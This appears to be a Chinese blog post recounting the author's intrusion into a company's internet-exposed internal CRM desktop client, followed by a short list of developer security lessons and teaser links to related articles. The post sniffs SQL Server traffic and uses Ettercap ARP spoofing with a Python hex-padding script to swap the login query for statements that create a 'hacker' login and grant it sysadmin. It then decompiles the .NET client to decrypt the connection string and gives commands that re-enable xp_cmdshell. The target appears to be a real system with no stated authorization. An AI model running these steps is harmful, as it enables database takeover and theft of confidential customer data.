嗅探、中间人sql注入、反编译--例说桌面软件安全性问题

嗅探、中间人sql注入、反编译--例说桌面软件安全性问题

今天这篇文章不准备讲太多理论,讲我最近遇到的一个案例。从技术上讲,这个例子没什么高深的,还有一点狗屎运的成分,但是它又足够典型,典型到我可以讲出很多大道理用来装逼。So,我们开始吧。

1.1 一个公司内部专用的CRM系统

CRM系统是什么,如果你不知道的话,请自行Google。从数据的角度讲,它包含了一个公司所有往来客户的机密资料,如果泄露的话,后果很严重。下面是我无意中发现的一个网站,挂着一个CRM软件的下载链接。开始的时候我以为这个是一家卖CRM的公司,但是看着又不太像。

从网站的其他信息看,这仿佛是一个公司内部的CRM系统,于是我下载下来。

直接是一个登录界面,我先随便输入了一个用户名,没有输入密码。

然后我又输入了一个“admin”.

通过简单的尝试,我们可以确定这不是通用的CRM系统,是定制的,而且可以在外网使用,是否有绑定计算机不得而知,外网服务器IP不知道,是否直接连接外网的数据库服务器不知道。下面我们通过抓包来确认一下。

1.2  抓包分析

启动Wireshark,然后点击登录按钮,立即停止抓包,我发现了一连串的TDS包。

下面的信息确认这个软件是直接连接的数据库服务器,并没有通过后端的服务接口来返回数据。

查询语句很明显,但是也很奇怪,开发者在用用户名查询密码,然后要做的应该是用返回的密码和用户输入的密码进行比对。不过还好,它返回的密码是加密过的。

根据对sqlserver 的了解,在登录认证阶段,默认是加密传输的,并不会暴露用户名和密码,但是我们可以通过从数据包中分析出数据库的版本和服务器的基本信息。

访问的数据库名:

服务器名称:

当然从名字上看应该是win7系统,win7做服务器也比较奇葩。

数据版本:

SqlServer 10.0,应该是2008版本。

ok,现在简单总结下。通过抓包分析,我们得到了目标服务器的IP,打开的端口至少有80和1433,操作系统是win7,数据库为SQLServer2008,连接的目标数据库名称。下面我们有三个方向可以去努力,一个是找服务器和web应用的漏洞去渗透,第二个是继续挖掘软件本身的漏洞,第三个是攻击数据库。我们不知道当前应用登录数据库所使用的账号的权限是怎么样的,但是已经能够大致判断软件编写者的编程水平了,从编程水平去推断90%的可能性是sa用户或者sa权限。下面邪恶的想法来了,拦截并修改查询语句,新建一个数据库管理账号,然后使用工具直接连接上去,那么不就控制了数据库了吗,控制数据库后是不是还有机会控制服务器呢?试试便知。

1.3  测试中间人攻击

在本机就没必要中间人攻击了吧?不过我还是非常想利用Ettercap的Filter和replace功能,可以省掉很多麻烦。

首先在虚拟机里启动我的Kali Linux,然后在Kali里面启动Ettercap进行Arp欺骗测试(Ettercap的详细使用请google,这里简单说明)。

第一步,开启路由转发功能。

# 启用IP路由转发功能

echo 1 > /proc/sys/net/ipv4/ip_forward

第二步,在”/etc/ettercap/etter.conf”中配置转发。

第三步,arp欺骗。

第四步,测试。

使用driftnet 测试,是否能拦截主机的图片请求,如果能,证明arp欺骗成功。

1.4  filter和replace数据构造

上面的测试证明了中间人攻击可行,那么下面我们开始构造Filter脚本。先创建一个1433.filter文件,输入如下内容:

search和replace的内容是需要我们按需构造的。search的内容我们可以在刚才的抓包工具中获取到,就是从数据库中查询密码的sql语句,replace的内容我这里想要它执行这样的语句:

CREATE LOGIN hacker WITH PASSWORD=’YouGotHacked1#’;

下面我们再回头看看要搜索的元素请求数据。

select Employee_UserName,Employee_PassWord from E_Employee where Employee_State= 217 and Employee_UserName=‘admin‘

这份数据每个字符后面都填充了\x00的null byte,这是不可打印的,这意味着我们需要将内容全部转为16进制,然后填充\x00。

还有另一个问题要注意,替换的数据必须与原数据长度相同,否则会引起TCP数据传输中断。手工去做这件事略微有点麻烦,我还是写段小程序来搞定吧。

def stringToHex(string,padLength=0):

s1=[hex(ord(s)).replace("0x",‘\\x‘) for s in string];

result=‘‘;

for s in s1:

result=result+s+‘\\x00‘

for num in range(padLength):

result=result+‘\\x20\\x00‘

return result;

def getHex(sourceSql,targetSql):

if len(sourceSql) <len(targetSql):

print(‘erro‘);

else:

padLength=len(sourceSql)-len(targetSql);

print(stringToHex(sourceSql));

print(stringToHex(targetSql,padLength));

def main():

source="select Employee_UserName,Employee_PassWord from E_Employee where Employee_State= 217 and Employee_UserName=‘admin‘";

target="CREATE LOGIN hacker WITH PASSWORD=‘YouGotHacked1#‘";

getHex(source,target);

if __name__==‘__main__‘:

main();

一小段python,不是什么高明的代码就不解释了,最终filter脚本的样子:

下面我们将1433.filter文件生成为Ettercap能够使用的ef文件。

再次运行 Ettercap:

此时点击软件的登录按钮。

我们看到filter脚本打印出来的“success replace”,是不是真的成功了呢?

我使用vs2015的数据库连接工具,进行连接,奇迹就这么出现了:

连接成功。不过权限有点问题,我们可以再次修改Sql语句,提升它的权限,比如下面这句话:

ALTER SERVER ROLE sysadmin ADD MEMBER hacker;

这一步就不详细演示了,流程和上面一样。下面我们再回到另一个分支上,来找找软件本身的弱点。

1.5 反编译和解密

看了下面的内容,你一定会觉得我上面的操作都是瞎费劲,几分钟就解决问题了。这个例子确实是这样,不过上面的方法更通用一些,而且难度不高,是需要优先掌握的。

在软件的安装目录中,我首先看到了这样几个dll文件:

作为一名资深的.NET程序员,看到名字我就知道这是.NET写的程序了。于是先找到config文件,看看程序员是不是把数据库连接串写到这里了。

连接串确实在这里了,不过加密了。

但是到这里,我对这个程序已经没什么欲望了,即使它防护做的再好,那也是个.NET程序,是.NET程序,我就能攻破它(专业破解.NET,从未失败过)。不过令人失望的是,这个程序连基本代码混淆都没做,当然更没有壳,也没有代码加密。使用反编译工具随便点了点,然后拷贝了几段代码:

还是要忍不住吐槽这代码写的太渣了,不过成功的解密了连接串,成功登录了数据库,不是SA用户,但是却有sa权限,试了下xp_cmdshell,默认被数据库禁用了。执行下面的sql语句解封,

sp_configure ‘show advanced options‘,1

reconfigure

go

sp_configure ‘xp_cmdshell‘,1

reconfigure

go

1.6 小结—架构、权限管理、加密/解密、源码保护

好了,又到了装逼的环节了。这段总结是说给像我这样平时大道理一堆堆,写代码的时候一坨坨的程序员的。

首先,权限管理必须要严格控制。一个在公司内部使用的系统,为什么要挂到外网上,让任何人都可以下载?数据库权限控制,不同的系统划分不同的账号这是基本常识(我也经常不划分,就是为了偷懒),不同的账号控制不同的权限,甚至账号可以细化到读/写,表,存储过程级别。既然用户有角色划分,那么我们的代码必须也要有访问权限划分。不是在代码内部要访问数据的时候加个if-else,应该在调用还没开始就挡在外面。

第二,一个必须联网才能使用的程序,为什么不把数据访问,核心业务逻辑都放在远端的服务器上,公开接口给客户端调用呢?只有一个原因,程序员太懒。我就是搞winform的,你要老子搞什么服务端,不会!连基本的分层和服务划分都不注意,在基础架构这就留下了安全隐患,同时客户端的安全漏洞直接导致服务器被攻陷。

第三,.NET/Java 这类应用没有办法绝对防止反编译,只是时间问题。但是这不代表我们就不应该做程序保护,加壳,源码混淆,程序集加密,结合服务端获取进行rsa加密解密的动态程序集构建技术,是可以把90%的初级用户挡在门外的。城门大开就不对了。

这些话题就不展开了,网上一搜一大堆。

好吧,没什么值得继续的了,到此结束吧。

下面是广告时间:

关注微信订阅号,持续推送优秀安全类文章。

欢迎加入网络安全群:147098303。

最新网络公开课预告

时间:5月24日

内容:python黑客编程之局域网嗅探和敏感信息探测

报名地址:http://edu.csdn.net/huiyiCourse/detail/126

时间: 2024-10-29 19:09:01

嗅探、中间人sql注入、反编译--例说桌面软件安全性问题的相关文章

sqlmap的学习之路-自动化测试SQL注入工具

sqlmap 自动化测试sql 注入问题  会返回版本信息等等. Sqlmap是开源的自动化SQL注入工具,由Python写成,因此运行需要安装python环境. 如需了解更多sqlmap资料可以访问官方http://sqlmap.org/,https://github.com/sqlmapproject/sqlmap,https://www.python.org . 注意:sqlmap只是用来检测和利用sql注入点的,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点. 特点:

Android 反编译初探 应用是如何被注入广告的

本文由我的微信公众号:鸿洋(hongyangAndroid)原创首发. 转载请标明出处: http://blog.csdn.net/lmj623565791/article/details/53370414: 本文出自:[张鸿洋的博客] 一.概述 最近和朋友聊天,发现一些灰色产业链通过批量反编译市场上的apk,然后进行注入广告,再重新打包上渠道. 我想大家都不希望自己家的产品或者自己的app那么容易被"占据",但是想要自身能够防御,首先要知道对方的手段.所以本篇博客的目的不是教大家如何

开发反模式 - SQL注入

一.目标:编写SQL动态查询 SQL常常和程序代码一起使用.我们通常所说的SQL动态查询,是指将程序中的变量和基本SQL语句拼接成一个完整的查询语句. string sql = SELECT * FROM Person WHERE Id = $Id 我们期望$Id是一个整型,因此当数据库接收到这个请求时,$Id的值就是查询语句的一部分. SQL动态查询是有效利用数据库很自然的方法.当你使用程序内的变量来指定如何进行查询时,就是将SQL作为连接程序和数据库的桥梁.程序和数据库之间通过这种方式进行“

sql注入攻防 以php+mysql为例

随着Web应用的高速发展和技术的不断成熟,对Web开发相关职位的需求量也越来越大,越来越多的人加入了Web开发的行列.但是由于程序员的水平参差不齐或是安全意识太低,很多程序员在编写代码时仅考虑了功能上的实现,很少或是根本没有考虑应用的安全性问题.这就导致了很多应用都存在不同程度的安全漏洞.SQL注入便是其中的一种. SQL注入作为一种很流行的攻击手段,一直以来都受到网络安全研究者和黑客们的广泛关注.那什么是SQL注入呢?SQL注入是这样一种攻击技术:攻击者通过把恶意SQL命令插入到Web表单的输

SQL或HQL预编译语句,能够防止SQL注入,但是不能处理%和_特殊字符

最近项目在做整改,将所有DAO层的直接拼接SQL字符串的代码,转换成使用预编译语句的方式.个人通过写dao层的单元测试,有以下几点收获. dao层代码如下 //使用了预编译sql public List<IndvConfigModel> selectConfigBySuffix(String suffix) { String hql = "from IndvConfigModel where configKey like '%'||?||'%'"; return this.

Android 反编译 代码注入之HelloWorld

为了向经典的"Hello, World"致敬,我们也从一个简单的程序开始HelloWorld.apk.当你把这个APK安装到手机上运行后,在屏幕上就显示一行文字"Hello, World!".现在我们想要通过注入的方式把"Hello World~!"修改为中文的"你好世界". 1.反编译 Dos命令提示行 输入 apktool.bat d HelloWorld.apk 这条命令运行完后,在当前目录下会生成一个名为HelloAc

android 反编译,逆向,注入LOG

反编译smali注入显示LOG的代码,备以后用: .class public Lnet/iaround/connector/DebugClass; .super Ljava/lang/Object; .source "DebugClass.java" # direct methods .method public constructor <init>()V .locals 0 .prologue .line 5 invoke-direct {p0}, Ljava/lang/

JDBC 删除数据两种方式,PreparedStatement表示预编译的 SQL 语句的对象,防止sql注入

1.statement使用的不方便 2.sql注入的问题 *  在SQL语句中使用了系统自带的关键字 or and ,让where条件判断失效 *   prepareStatement: *  1.sql语句不用在拼字符串 *  2.防止sql注入问题 1 public class CURDTest { 2 public static void main(String[] args) throws Exception { 3 //insertTest(); 4 //deleteTest(); 5

mybatis以及预编译如何防止SQL注入

SQL注入是一种代码注入技术,用于攻击数据驱动的应用,恶意的SQL语句被插入到执行的实体字段中(例如,为了转储数据库内容给攻击者).[摘自] SQL injection - Wikipedia SQL注入,大家都不陌生,是一种常见的攻击方式.攻击者在界面的表单信息或URL上输入一些奇怪的SQL片段(例如“or ‘1’=’1’”这样的语句),有可能入侵参数检验不足的应用程序.所以,在我们的应用中需要做一些工作,来防备这样的攻击方式.在一些安全性要求很高的应用中(比如银行软件),经常使用将SQL语句